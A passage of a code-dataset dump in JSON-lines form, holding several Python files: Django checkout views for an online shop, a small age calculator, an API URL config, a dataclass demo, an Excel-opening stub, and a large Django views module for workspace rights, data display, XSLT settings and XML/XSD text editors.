lfs.payment.settings.PM_BANK for pm in valid_payment_methods])\n #display_credit_card = any([pm.type == lfs.payment.settings.PM_CREDIT_CARD for pm in valid_payment_methods])\n display_bank_account = lfs.payment.settings.PM_BANK\n display_credit_card = lfs.payment.settings.PM_CREDIT_CARD\n\n\n\n return render_to_string(template_name, RequestContext(request, {\n \"payment_methods\": valid_payment_methods,\n \"selected_payment_method\": selected_payment_method,\n \"display_credit_card\": display_credit_card,\n \"display_bank_account\": display_bank_account,\n \"credit_card_form\": credit_card_form,\n \"bank_account_form\": bank_account_form,\n })) \n\n# return render_to_string(template_name, RequestContext(request, {\n# \"payment_methods\": valid_payment_methods,\n# \"selected_payment_method\": selected_payment_method,\n# \"form\": form,\n# }))\n\n\ndef shipping_inline(request, template_name=\"lfs/checkout/shipping_inline.html\"):\n \"\"\"Displays the selectable shipping methods of the checkout page.\n\n Factored out to be reusable for the starting request (which renders the\n whole checkout page and subsequent ajax requests which refresh the\n selectable shipping methods.\n \"\"\"\n selected_shipping_method = lfs.shipping.utils.get_selected_shipping_method(request)\n shipping_methods = lfs.shipping.utils.get_valid_shipping_methods(request)\n\n\n\n return render_to_string(template_name, RequestContext(request, {\n \"shipping_methods\": shipping_methods,\n \"selected_shipping_method\": selected_shipping_method,\n }))\n\n\ndef check_voucher(request):\n \"\"\"\n \"\"\"\n voucher_number = lfs.voucher.utils.get_current_voucher_number(request)\n lfs.voucher.utils.set_current_voucher_number(request, voucher_number)\n\n result = simplejson.dumps({\n \"html\": ((\"#cart-inline\", cart_inline(request)),)\n })\n\n return HttpResponse(result)\n\n\ndef changed_checkout(request):\n \"\"\"\n \"\"\"\n form = OnePageCheckoutForm()\n customer = customer_utils.get_or_create_customer(request)\n _save_customer(request, customer)\n _save_country(request, customer)\n\n result = simplejson.dumps({\n \"shipping\": shipping_inline(request),\n \"payment\": payment_inline(request, form),\n \"cart\": cart_inline(request),\n })\n\n return HttpResponse(result)\n\n\ndef changed_invoice_country(request):\n \"\"\"\n Refreshes the invoice address form, after the invoice country has been\n changed.\n \"\"\"\n customer = lfs.customer.utils.get_or_create_customer(request)\n address = customer.selected_invoice_address\n country_iso = request.POST.get(\"invoice-country\")\n if address:\n address.country = Country.objects.get(code=country_iso.lower())\n address.save()\n\n am = AddressManagement(customer, address, \"invoice\")\n result = simplejson.dumps({\n \"invoice_address\": am.render(request, country_iso),\n })\n\n return HttpResponse(result)\n\n\ndef changed_shipping_country(request):\n \"\"\"\n Refreshes the shipping address form, after the shipping country has been\n changed.\n \"\"\"\n customer = lfs.customer.utils.get_or_create_customer(request)\n address = customer.selected_shipping_address\n country_iso = request.POST.get(\"shipping-country\")\n if address:\n address.country = Country.objects.get(code=country_iso.lower())\n address.save()\n\n am = AddressManagement(customer, address, \"shipping\")\n result = simplejson.dumps({\n \"shipping_address\": am.render(request, country_iso),\n })\n\n return HttpResponse(result)\n\n\ndef _save_country(request, customer):\n \"\"\"\n \"\"\"\n # Update shipping country\n country_iso = request.POST.get(\"shipping-country\", None)\n if request.POST.get(\"no_shipping\") == \"on\":\n country_iso = request.POST.get(\"invoice-country\", None)\n\n if country_iso is not None:\n country = Country.objects.get(code=country_iso.lower())\n if customer.selected_shipping_address:\n customer.selected_shipping_address.country = country\n customer.selected_shipping_address.save()\n customer.selected_country = country\n customer.save()\n\n lfs.shipping.utils.update_to_valid_shipping_method(request, customer)\n lfs.payment.utils.update_to_valid_payment_method(request, customer)\n customer.save()\n\n\ndef _save_customer(request, customer):\n \"\"\"\n \"\"\"\n shipping_method = request.POST.get(\"shipping-method\")\n customer.selected_shipping_method_id = shipping_method\n\n payment_method = request.POST.get(\"payment_method\")\n customer.selected_payment_method_id = payment_method\n\n customer.save()\n\n lfs.shipping.utils.update_to_valid_shipping_method(request, customer)\n lfs.payment.utils.update_to_valid_payment_method(request, customer)\n customer.save()\n","sub_path":"lfs/checkout/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":38786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"369300816","text":"from datetime import date\n#Idade exata em dias\n\ndef preencherData():#Procedimento de entrada\n\n dia = int(input(\"Digite o dia que nasceu: \"))\n mes = int(input(\"Digite o mês: \"))\n ano = int(input(\"Digite o ano: \"))\n\n calcularData(ano,mes,dia)\n\n\ndef calcularData(ano,mes,dia):#Funcao de calculo da data exata em dias\n dataAtual = date.today()#recebendo a data atual atraves do modulo date\n\n dataNiver = date(ano,mes,dia)\n\n diff = dataAtual - dataNiver\n\n idade_diff =(diff.days/365.2425)\n mes_diff = ((diff.days%365.2425)/30)\n dia_diff = (diff.days%365.2425)%30\n\n return print('%d anos, %d meses, %d dias' %(idade_diff,mes_diff,dia_diff))\n","sub_path":"idade.py","file_name":"idade.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"456250863","text":"from django.urls import path\n\nfrom apps.api.views import catalogs, feeds, entries, api_keys, users\n\nurlpatterns = [\n # API keys\n path(\"api_keys\", api_keys.ApiKeyManagement.as_view()),\n path(\"api_keys/\", api_keys.ApiKeyDetail.as_view()),\n\n # Users\n path('users', users.UserManagement.as_view()),\n path('users/', users.UserDetail.as_view()),\n\n # Catalogs\n path(\"catalogs\", catalogs.CatalogManagement.as_view()),\n path(\"catalogs/\", catalogs.CatalogDetail.as_view()),\n\n # Feeds\n path(\"feeds\", feeds.FeedManagement.as_view()),\n path(\"feeds/\", feeds.FeedDetail.as_view()),\n\n # Entries\n path(\"entries\", entries.EntryPaginator.as_view()),\n path(\"catalogs//entries\", entries.EntryManagement.as_view()),\n path(\"catalogs//entries/\", entries.EntryDetail.as_view()),\n]\n","sub_path":"apps/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"407157575","text":"from dataclasses import dataclass\n\n@dataclass\nclass Abc:\n a: str\n b: int\n c: bool\n\nabc = Abc(1, 2, None)\nprint([abc.a,\n abc.b])\nd = Abc(c=None, a=1, b='a')\ne = Abc(b='a', a=1, c=None)\nprint(d)\nprint(abc)\nprint(e)\nprint(d is e)\nprint(d == e)\n","sub_path":"py/python3/py3.py","file_name":"py3.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"63760196","text":"# -*- coding: utf-8 -*-\nimport xlrd,sys\n\ndef open_excel_file(file='E:\\Eggs\\py_workspace\\data\\data1.xls'):\n try:\n data = xlrd.open_workbook(file)\n\n except Exception as e:\n print (e, '--> our error message')\n\n\n\n\n","sub_path":"helloworld.py","file_name":"helloworld.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"419080753","text":"\"\"\" Common views\n\"\"\"\nimport json\nfrom abc import ABCMeta, abstractmethod\nfrom datetime import datetime\n\nfrom django.conf import settings as conf_settings\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import (\n HttpResponseBadRequest,\n HttpResponseForbidden,\n HttpResponse,\n)\nfrom django.http.response import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom django.utils.html import escape as html_escape\nfrom django.views.generic import View\n\nfrom core_main_app.access_control import api as acl_api\nfrom core_main_app.access_control.exceptions import AccessControlError\nfrom core_main_app.commons import exceptions\nfrom core_main_app.commons.exceptions import (\n DoesNotExist,\n)\nfrom core_main_app.components.data import api as data_api\nfrom core_main_app.components.group import api as group_api\nfrom core_main_app.components.lock import api as lock_api\nfrom core_main_app.components.template import api as template_api\nfrom core_main_app.components.template.access_control import check_can_write\nfrom core_main_app.components.template_xsl_rendering import (\n api as template_xsl_rendering_api,\n)\nfrom core_main_app.components.version_manager import api as version_manager_api\nfrom core_main_app.components.workspace import api as workspace_api\nfrom core_main_app.components.xsl_transformation import (\n api as xslt_transformation_api,\n)\nfrom core_main_app.settings import MAX_DOCUMENT_EDITING_SIZE\nfrom core_main_app.utils import file as main_file_utils\nfrom core_main_app.utils import group as group_utils\nfrom core_main_app.utils import xml as main_xml_utils\nfrom core_main_app.utils.labels import get_data_label\nfrom core_main_app.utils.rendering import admin_render, render\nfrom core_main_app.utils.view_builders import data as data_view_builder\nfrom core_main_app.views.admin.forms import TemplateXsltRenderingForm\nfrom xml_utils.xsd_tree.xsd_tree import XSDTree\nfrom core_main_app.components.blob import api as blob_api\n\n\nclass CommonView(View, metaclass=ABCMeta):\n \"\"\"\n Abstract common view for admin and user.\n \"\"\"\n\n administration = False\n\n def common_render(\n self, request, template_name, modals=None, assets=None, context=None\n ):\n \"\"\"common_render\n\n Args:\n request:\n template_name:\n modals:\n assets:\n context:\n\n Returns:\n \"\"\"\n return (\n admin_render(request, template_name, modals, assets, context)\n if self.administration\n else render(request, template_name, modals, assets, context)\n )\n\n def is_administration(self):\n \"\"\"is_administration\n\n Returns:\n \"\"\"\n return self.administration\n\n\n@method_decorator(login_required, name=\"dispatch\")\nclass EditWorkspaceRights(CommonView):\n \"\"\"\n Edit workspace rights\n \"\"\"\n\n template = \"core_main_app/user/workspaces/edit_rights.html\"\n\n def get(self, request, *args, **kwargs):\n \"\"\"get\n\n Args:\n request:\n\n Returns:\n \"\"\"\n\n try:\n workspace_id = kwargs[\"workspace_id\"]\n workspace = workspace_api.get_by_id(workspace_id)\n except DoesNotExist:\n return HttpResponseBadRequest(\"The workspace does not exist.\")\n except Exception:\n return HttpResponseBadRequest(\"Something wrong happened.\")\n\n if workspace.owner != str(request.user.id) and not self.administration:\n return HttpResponseForbidden(\n \"Only the workspace owner can edit the rights.\"\n )\n\n try:\n # Users\n users_read_workspace = (\n workspace_api.get_list_user_can_read_workspace(\n workspace, request.user\n )\n )\n users_write_workspace = (\n workspace_api.get_list_user_can_write_workspace(\n workspace, request.user\n )\n )\n\n users_access_workspace = list(\n set(users_read_workspace + users_write_workspace)\n )\n detailed_users = []\n for user in users_access_workspace:\n if str(user.id) != workspace.owner:\n detailed_users.append(\n {\n \"object_id\": user.id,\n \"object_name\": user.username,\n \"can_read\": user in users_read_workspace,\n \"can_write\": user in users_write_workspace,\n }\n )\n except Exception:\n detailed_users = []\n\n try:\n # Groups\n groups_read_workspace = (\n workspace_api.get_list_group_can_read_workspace(\n workspace, request.user\n )\n )\n groups_write_workspace = (\n workspace_api.get_list_group_can_write_workspace(\n workspace, request.user\n )\n )\n\n groups_access_workspace = list(\n set(groups_read_workspace + groups_write_workspace)\n )\n group_utils.remove_list_object_from_list(\n groups_access_workspace,\n [\n group_api.get_anonymous_group(),\n group_api.get_default_group(),\n ],\n )\n detailed_groups = []\n for group in groups_access_workspace:\n detailed_groups.append(\n {\n \"object_id\": group.id,\n \"object_name\": group.name,\n \"can_read\": group in groups_read_workspace,\n \"can_write\": group in groups_write_workspace,\n }\n )\n except Exception:\n detailed_groups = []\n\n context = {\n \"workspace\": workspace,\n \"user_data\": detailed_users,\n \"group_data\": detailed_groups,\n \"template\": \"core_main_app/user/workspaces/list/edit_rights_table.html\",\n \"action_read\": \"action_read\",\n \"action_write\": \"action_write\",\n }\n\n if workspace_api.is_workspace_public(workspace):\n context.update({\"is_public\": True})\n if workspace_api.is_workspace_global(workspace):\n context.update({\"is_global\": True})\n\n assets = {\n \"css\": [\n \"core_main_app/common/css/switch.css\",\n \"core_main_app/common/css/select.css\",\n ],\n \"js\": [\n {\n \"path\": \"core_main_app/common/js/backtoprevious.js\",\n \"is_raw\": True,\n },\n {\n \"path\": \"core_main_app/user/js/workspaces/add_user.js\",\n \"is_raw\": False,\n },\n {\n \"path\": \"core_main_app/user/js/workspaces/list/modals/switch_right.js\",\n \"is_raw\": False,\n },\n {\n \"path\": \"core_main_app/user/js/workspaces/list/modals/remove_rights.js\",\n \"is_raw\": False,\n },\n {\n \"path\": \"core_main_app/user/js/workspaces/add_group.js\",\n \"is_raw\": False,\n },\n {\n \"path\": \"core_main_app/user/js/workspaces/init.js\",\n \"is_raw\": False,\n },\n ],\n }\n\n modals = [\n \"core_main_app/user/workspaces/list/modals/add_user.html\",\n \"core_main_app/user/workspaces/list/modals/switch_right.html\",\n \"core_main_app/user/workspaces/list/modals/remove_rights.html\",\n \"core_main_app/user/workspaces/list/modals/add_group.html\",\n ]\n\n # Set page title\n context.update({\"page_title\": \"Edit Workspace\"})\n\n return self.common_render(\n request,\n self.template,\n context=context,\n assets=assets,\n modals=modals,\n )\n\n\nclass ViewData(CommonView):\n \"\"\"\n View detail data.\n \"\"\"\n\n template = \"core_main_app/user/data/detail.html\"\n\n def get(self, request, *args, **kwargs):\n \"\"\"get\n\n Args:\n request:\n\n Returns:\n \"\"\"\n data_id = request.GET[\"id\"]\n\n try:\n data_object = data_api.get_by_id(data_id, request.user)\n page_context = data_view_builder.build_page(\n data_object, display_download_options=True\n )\n\n return data_view_builder.render_page(\n request, self.common_render, self.template, page_context\n )\n except exceptions.DoesNotExist:\n error_message = \"Data not found\"\n status_code = 404\n except exceptions.ModelError:\n error_message = \"Model error\"\n status_code = 400\n except AccessControlError:\n error_message = \"Access Forbidden\"\n status_code = 403\n except Exception as e:\n error_message = str(e)\n status_code = 400\n\n return self.common_render(\n request,\n \"core_main_app/common/commons/error.html\",\n assets={\n \"js\": [\n {\n \"path\": \"core_main_app/user/js/data/detail.js\",\n \"is_raw\": False,\n }\n ]\n },\n context={\n \"error\": \"Unable to access the requested \"\n + get_data_label()\n + f\": {error_message}.\",\n \"status_code\": status_code,\n \"page_title\": \"Error\",\n },\n )\n\n\ndef read_xsd_file(xsd_file):\n \"\"\"Return the content of the file uploaded using Django FileField.\n\n Returns:\n\n \"\"\"\n # put the cursor at the beginning of the file\n xsd_file.seek(0)\n # read the content of the file\n return xsd_file.read().decode(\"utf-8\")\n\n\n@method_decorator(login_required, name=\"dispatch\")\nclass TemplateXSLRenderingView(View):\n \"\"\"Template XSL rendering view.\"\"\"\n\n rendering = render\n save_redirect = \"core_main_app_manage_template_versions\"\n back_to_url = \"core_main_app_manage_template_versions\"\n form_class = TemplateXsltRenderingForm\n template_name = \"core_main_app/common/templates_xslt/main.html\"\n context = {}\n assets = {}\n\n def get(self, request, *args, **kwargs):\n \"\"\"GET request. Create/Show the form for the configuration.\n\n Args:\n request:\n *args:\n **kwargs:\n\n Returns:\n\n \"\"\"\n template_id = kwargs.pop(\"template_id\")\n # Get the template\n template = template_api.get_by_id(template_id, request=request)\n # Get template information (version)\n version_manager = template.version_manager\n version_number = version_manager_api.get_version_number(\n version_manager, template_id, request=request\n )\n try:\n # Get the existing configuration to build the form\n template_xsl_rendering = (\n template_xsl_rendering_api.get_by_template_id(template_id)\n )\n data = {\n \"id\": str(template_xsl_rendering.id),\n \"template\": str(template.id),\n \"list_xslt\": template_xsl_rendering.list_xslt.id\n if template_xsl_rendering.list_xslt\n else None,\n \"default_detail_xslt\": template_xsl_rendering.default_detail_xslt.id\n if template_xsl_rendering.default_detail_xslt\n else None,\n \"list_detail_xslt\": [\n xslt.id\n for xslt in template_xsl_rendering.list_detail_xslt.all()\n ]\n if template_xsl_rendering.list_detail_xslt.count()\n else None,\n }\n except (Exception, exceptions.DoesNotExist):\n # If no configuration, new form with pre-selected fields.\n data = {\n \"template\": str(template.id),\n \"list_xslt\": None,\n \"default_detail_xslt\": None,\n \"list_detail_xslt\": None,\n }\n\n self.assets = {\n \"css\": [\"core_main_app/admin/css/templates_xslt/form.css\"],\n \"js\": [\n {\n \"path\": \"core_main_app/admin/js/templates_xslt/detail_xslt.js\",\n \"is_raw\": False,\n }\n ],\n }\n\n self.context = {\n \"template_title\": template.version_manager.title,\n \"template_version\": version_number,\n \"form_template_xsl_rendering\": self.form_class(data),\n \"url_back_to\": reverse(\n self.back_to_url,\n kwargs={\"version_manager_id\": template.version_manager.id},\n ),\n }\n\n return self.rendering(\n request,\n self.template_name,\n context=self.context,\n assets=self.assets,\n )\n\n def post(self, request, *args, **kwargs):\n \"\"\"POST request. Try to save the configuration.\n\n Args:\n request:\n *args:\n **kwargs:\n\n Returns:\n\n \"\"\"\n form = self.form_class(request.POST, request.FILES)\n self.context.update({\"form_template_xsl_rendering\": form})\n\n if form.is_valid():\n return self._save_template_xslt(request)\n else:\n # Display error from the form\n return self.rendering(\n request, self.template_name, context=self.context\n )\n\n def _save_template_xslt(self, request):\n \"\"\"Save a template xslt rendering.\n\n Args:\n request: Request.\n\n \"\"\"\n try:\n # Get the list xslt instance\n try:\n list_xslt = xslt_transformation_api.get_by_id(\n request.POST.get(\"list_xslt\")\n )\n except (Exception, exceptions.DoesNotExist):\n list_xslt = None\n\n # Get the list detail xslt instance\n try:\n list_detail_xslt = xslt_transformation_api.get_by_id_list(\n request.POST.getlist(\"list_detail_xslt\")\n )\n except (Exception, exceptions.DoesNotExist):\n list_detail_xslt = None\n\n # Get the default detail xslt instance\n try:\n default_detail_xslt = xslt_transformation_api.get_by_id(\n request.POST.get(\"default_detail_xslt\")\n )\n except (Exception, exceptions.DoesNotExist):\n default_detail_xslt = None\n\n # Get template by id\n template = template_api.get_by_id(\n request.POST.get(\"template\"), request=request\n )\n\n template_xsl_rendering_api.add_or_delete(\n template_xsl_rendering_id=request.POST.get(\"id\"),\n template=template,\n list_xslt=list_xslt,\n default_detail_xslt=default_detail_xslt,\n list_detail_xslt=list_detail_xslt,\n )\n\n return HttpResponseRedirect(\n reverse(self.save_redirect, args=[template.version_manager.id])\n )\n except Exception as e:\n self.context.update({\"errors\": html_escape(str(e))})\n return self.rendering(\n request, self.template_name, context=self.context\n )\n\n\ndef defender_error_page(request):\n \"\"\"Error page for defender package.\n\n Args:\n request:\n\n Returns:\n\n \"\"\"\n return render(\n request,\n \"core_main_app/common/defender/error.html\",\n context={\"page_title\": \"Error\"},\n )\n\n\nclass AbstractEditorView(View, metaclass=ABCMeta):\n \"\"\"Abstract Text Editor View\"\"\"\n\n template = \"core_main_app/user/text_editor/text_editor.html\"\n\n def _get_assets(self):\n \"\"\"get assets\n\n Return:\n \"\"\"\n assets = {\n \"js\": [\n {\n \"path\": \"core_main_app/user/js/text_editor/text_editor.js\",\n \"is_raw\": True,\n },\n ],\n \"css\": [\n \"core_main_app/common/css/highlight.css\",\n \"core_main_app/user/css/text-editor.css\",\n ],\n }\n return assets\n\n def _get_context(self, document_id, document_name, type_content, content):\n \"\"\"get context\n\n Return:\n \"\"\"\n context = {\n \"page_title\": type_content + \" Text Editor\",\n \"name\": document_name,\n \"content\": content,\n \"type\": type_content,\n \"document_id\": document_id,\n }\n return context\n\n def post(self, request):\n \"\"\"post\n\n Parameters:\n {\n \"content\":\"content\",\n \"action\": format/validate/save\n \"document_id\": document_id\n \"template_id\": template_id\n }\n\n Args:\n request: HTTP request\n\n Returns:\n\n - code: 200\n content: action done\n - code: 400\n content: Bad request\n - code: 403\n content: Forbidden\n - code: 500\n content: Internal server error\n \"\"\"\n\n try:\n # get action\n action = request.POST[\"action\"]\n # apply action: format, validate or save\n return getattr(self, \"%s\" % action)()\n except Exception as e:\n return HttpResponseBadRequest(html_escape(str(e)))\n\n @abstractmethod\n def format(self, *args, **kwargs):\n \"\"\"Returns formatted content\n\n Args:\n args:\n kwargs:\n\n Returns: content\n\n \"\"\"\n raise NotImplementedError(\"format method is not implemented.\")\n\n @abstractmethod\n def validate(self, *args, **kwargs):\n \"\"\"Validate content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n raise NotImplementedError(\"validate method is not implemented.\")\n\n @abstractmethod\n def save(self, *args, **kwargs):\n \"\"\"Save content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n raise NotImplementedError(\"save method is not implemented.\")\n\n\nclass XmlEditor(AbstractEditorView, metaclass=ABCMeta):\n \"\"\"Xml Editor\"\"\"\n\n save_redirect = \"core_dashboard_records\"\n\n def format(self, *args, **kwargs):\n \"\"\"Format xml content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n content = self.request.POST[\"content\"].strip()\n return HttpResponse(\n json.dumps(main_xml_utils.format_content_xml(content)),\n \"application/javascript\",\n )\n\n def validate(self, *args, **kwargs):\n \"\"\"Validate xml content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n content = self.request.POST[\"content\"].strip()\n\n try:\n # build the xsd tree\n xml_tree = XSDTree.build_tree(content)\n except Exception as exception:\n raise exceptions.XMLError(str(exception))\n try:\n # get template\n template_id = self.request.POST[\"template_id\"]\n template = template_api.get_by_id(template_id, self.request)\n # build the xsd tree\n xsd_tree = XSDTree.build_tree(template.content)\n except Exception as exception:\n raise exceptions.XSDError(str(exception))\n\n # validate content\n error = main_xml_utils.validate_xml_data(\n xsd_tree, xml_tree, request=self.request\n )\n if error is not None:\n raise exceptions.XMLError(error)\n return HttpResponse(\n json.dumps(\"Validated successfully\"),\n \"application/javascript\",\n )\n\n def generate(self, *args, **kwargs):\n \"\"\"Generate xml content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n content = self.request.POST[\"content\"].strip()\n template_id = self.request.POST[\"template_id\"]\n\n if \"core_curate_app\" not in conf_settings.INSTALLED_APPS:\n raise exceptions.CoreError(\n \"The Curate App needs to be installed to use this feature.\"\n )\n\n if content:\n raise exceptions.XMLError(\n \"Please clear form before generating a new XML document.\"\n )\n\n from core_main_app.utils.parser import get_parser\n from core_parser_app.components.data_structure_element import (\n api as data_structure_element_api,\n )\n from core_curate_app.components.curate_data_structure.models import (\n CurateDataStructure,\n )\n from core_curate_app.components.curate_data_structure import (\n api as curate_data_structure_api,\n )\n from core_curate_app.views.user import views as curate_views\n\n # Get template\n template = template_api.get_by_id(template_id, self.request)\n # Create temp data structure\n curate_data_structure = CurateDataStructure(\n user=str(self.request.user.id),\n template=template,\n name=\"text_editor_tmp_\" + str(datetime.now()),\n )\n # create new curate data structure\n curate_data_structure_api.upsert(\n curate_data_structure, self.request.user\n )\n # build parser\n parser = get_parser(request=self.request)\n # generate form\n root_element_id = parser.generate_form(\n xsd_doc_data=template.content,\n xml_doc_data=None,\n data_structure=curate_data_structure,\n request=self.request,\n )\n # get the root element\n root_element = data_structure_element_api.get_by_id(\n root_element_id, self.request\n )\n\n # generate xml string\n xml_data = curate_views.render_xml(self.request, root_element)\n\n # prettify content\n xml_data = main_xml_utils.format_content_xml(xml_data)\n\n # delete temp data structure\n curate_data_structure_api.delete(\n curate_data_structure, self.request.user\n )\n\n return HttpResponse(\n json.dumps(xml_data),\n \"application/javascript\",\n )\n\n def _get_assets(self):\n \"\"\"get assets\n\n Return:\n \"\"\"\n # get assets\n assets = super()._get_assets()\n\n # add css relatives to xml editor\n assets[\"css\"].append(\"core_main_app/common/css/XMLTree.css\")\n\n # add js relatives to xml editor\n assets[\"js\"].append(\n {\n \"path\": \"core_main_app/common/js/XMLTree.js\",\n \"is_raw\": False,\n }\n )\n assets[\"js\"].append(\n {\n \"path\": \"core_main_app/user/js/text_editor/data_text_editor.raw.js\",\n \"is_raw\": True,\n }\n )\n return assets\n\n def get_context(self, document, document_name, xml_content):\n \"\"\"get context\n\n Args:\n document:\n document_name:\n xml_content:\n\n Returns:\n \"\"\"\n # get assets\n context = super()._get_context(\n document.id, document_name, \"XML\", xml_content\n )\n\n # build xslt selector\n (\n display_xslt_selector,\n template_xsl_rendering,\n xsl_transformation_id,\n ) = data_view_builder.xslt_selector(document.template.id)\n\n # add context relatives to xml editor\n context.update(\n {\n \"document_name\": document.__class__.__name__,\n \"template_id\": document.template.id,\n \"template_xsl_rendering\": template_xsl_rendering,\n \"xsl_transformation_id\": xsl_transformation_id,\n \"can_display_selector\": display_xslt_selector,\n }\n )\n\n return context\n\n\nclass DataContentEditor(XmlEditor):\n \"\"\"Data Content Editor View\"\"\"\n\n def get(self, request):\n \"\"\"get\n\n Args:\n request\n\n Returns:\n \"\"\"\n\n try:\n data = data_api.get_by_id(request.GET[\"id\"], request.user)\n acl_api.check_can_write(data, request.user)\n if (\n main_file_utils.get_byte_size_from_string(data.xml_content)\n > MAX_DOCUMENT_EDITING_SIZE\n ):\n raise exceptions.DocumentEditingSizeError(\n \"The file is too large (MAX_DOCUMENT_EDITING_SIZE).\"\n )\n lock_api.set_lock_object(data, request.user)\n context = self.get_context(data, data.title, data.xml_content)\n assets = self._get_assets()\n return render(\n request, self.template, assets=assets, context=context\n )\n except AccessControlError as acl_exception:\n error_message = \"Access Forbidden: \" + str(acl_exception)\n status_code = 403\n except exceptions.DoesNotExist:\n error_message = get_data_label() + \" not found\"\n status_code = 404\n except Exception as e:\n error_message = str(e)\n status_code = 400\n\n return render(\n request,\n \"core_main_app/common/commons/error.html\",\n assets={\n \"js\": [\n {\n \"path\": \"core_main_app/user/js/data/detail.js\",\n \"is_raw\": False,\n }\n ]\n },\n context={\n \"error\": error_message,\n \"status_code\": status_code,\n },\n )\n\n def save(self, *args, **kwargs):\n \"\"\"Save xml content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n try:\n content = self.request.POST[\"content\"].strip()\n data_id = self.request.POST[\"document_id\"]\n data = data_api.get_by_id(data_id, self.request.user)\n # update content\n data.xml_content = content\n # save data\n data_api.upsert(data, self.request)\n lock_api.remove_lock_on_object(data, self.request.user)\n messages.add_message(\n self.request,\n messages.SUCCESS,\n get_data_label().capitalize() + \" saved with success.\",\n )\n return HttpResponse(\n json.dumps({\"url\": reverse(self.save_redirect)}),\n \"application/javascript\",\n )\n except AccessControlError as ace:\n return HttpResponseForbidden(html_escape(str(ace)))\n except DoesNotExist as dne:\n return HttpResponseBadRequest(html_escape(str(dne)))\n except Exception as e:\n return HttpResponseBadRequest(html_escape(str(e)))\n\n\nclass XSDEditor(AbstractEditorView):\n \"\"\"XSD Editor View\"\"\"\n\n def get(self, request):\n \"\"\"get\n\n Args:\n request:\n\n Returns:\n \"\"\"\n\n try:\n template = template_api.get_by_id(request.GET[\"id\"], request)\n check_can_write(template, request=request)\n context = super()._get_context(\n template.id, template.filename, \"XSD\", template.content\n )\n assets = super()._get_assets()\n # add js relatives to template editor\n assets[\"js\"].append(\n {\n \"path\": \"core_main_app/user/js/text_editor/template_text_editor.raw.js\",\n \"is_raw\": True,\n },\n )\n return render(\n request, self.template, assets=assets, context=context\n )\n\n except AccessControlError as acl_exception:\n error_message = str(acl_exception)\n status_code = 403\n except exceptions.DoesNotExist:\n error_message = \"Template not found\"\n status_code = 404\n except Exception as e:\n error_message = str(e)\n status_code = 400\n return render(\n request,\n \"core_main_app/common/commons/error.html\",\n assets={\n \"js\": [\n {\n \"path\": \"core_main_app/user/js/data/detail.js\",\n \"is_raw\": False,\n }\n ]\n },\n context={\n \"error\": error_message,\n \"status_code\": status_code,\n },\n )\n\n def format(self, *args, **kwargs):\n \"\"\"Format xml content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n content = self.request.POST[\"content\"].strip()\n return HttpResponse(\n json.dumps(main_xml_utils.format_content_xml(content)),\n \"application/javascript\",\n )\n\n def validate(self, *args, **kwargs):\n \"\"\"Validate xml content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n content = self.request.POST[\"content\"].strip()\n try:\n # build the xsd tree\n xsd_tree = XSDTree.build_tree(content)\n except Exception as exception:\n raise exceptions.XSDError(str(exception))\n\n # validate the schema\n error = main_xml_utils.validate_xml_schema(\n xsd_tree, request=self.request\n )\n if error is not None:\n raise exceptions.XMLError(error)\n\n return HttpResponse(\n json.dumps(\"Validated successfully\"),\n \"application/javascript\",\n )\n\n def save(self, *args, **kwargs):\n \"\"\"Save content\n\n Args:\n args:\n kwargs:\n\n Returns:\n\n \"\"\"\n try:\n content = self.request.POST[\"content\"].strip()\n template_id = self.request.POST[\"document_id\"]\n template = template_api.get_by_id(template_id, self.request)\n # update content\n template.content = content\n # save template\n template_api.upsert(template, request=self.request)\n return HttpResponse(\n json.dumps(\"saved successfully\"),\n \"application/javascript\",\n )\n except AccessControlError as ace:\n return HttpResponseForbidden(html_escape(str(ace)))\n except DoesNotExist as dne:\n return HttpResponseBadRequest(html_escape(str(dne)))\n except Exception as e:\n return HttpResponseBadRequest(html_escape(str(e)))\n\n\nclass ViewBlob(CommonView):\n \"\"\"\n View blob.\n \"\"\"\n\n template = \"core_main_app/user/blob/detail.html\"\n\n def get(self, request, *args, **kwargs):\n \"\"\"get\n\n Args:\n request:\n\n Returns:\n \"\"\"\n blob_id = request.GET[\"id\"]\n\n try:\n # Get blob\n blob_object = blob_api.get_by_id(blob_id, request.user)\n try:\n acl_api.check_can_write(blob_object, request.user)\n can_write = True\n except AccessControlError:\n can_write = False\n # Init context\n context = {\"blob\": blob_object, \"can_write\": can_write}\n # Init assets\n assets = {\n \"js\": [\n {\n \"path\": \"core_main_app/user/js/blob/detail.js\",\n \"is_raw\": False,\n }\n ],\n \"css\": [],\n }\n\n context.update({\"page_title\": \"View File\"})\n\n return self.common_render(\n request,\n self.template,\n assets=assets,\n context=context,\n )\n except exceptions.DoesNotExist:\n error_message = \"Blob not found\"\n status_code = 404\n except AccessControlError:\n error_message = \"Access Forbidden\"\n status_code = 403\n except Exception as e:\n error_message = str(e)\n status_code = 400\n\n return self.common_render(\n request,\n \"core_main_app/common/commons/error.html\",\n context={\n \"error\": \"Unable to access the requested file\"\n + f\": {error_message}.\",\n \"status_code\": status_code,\n \"page_title\": \"Error\",\n },\n )\n\n\nclass ManageBlobMetadata(CommonView):\n \"\"\"\n Manage blob metadata.\n \"\"\"\n\n template = \"core_main_app/user/blob/blob_metadata.html\"\n\n def get(self, request, pk, *args, **kwargs):\n 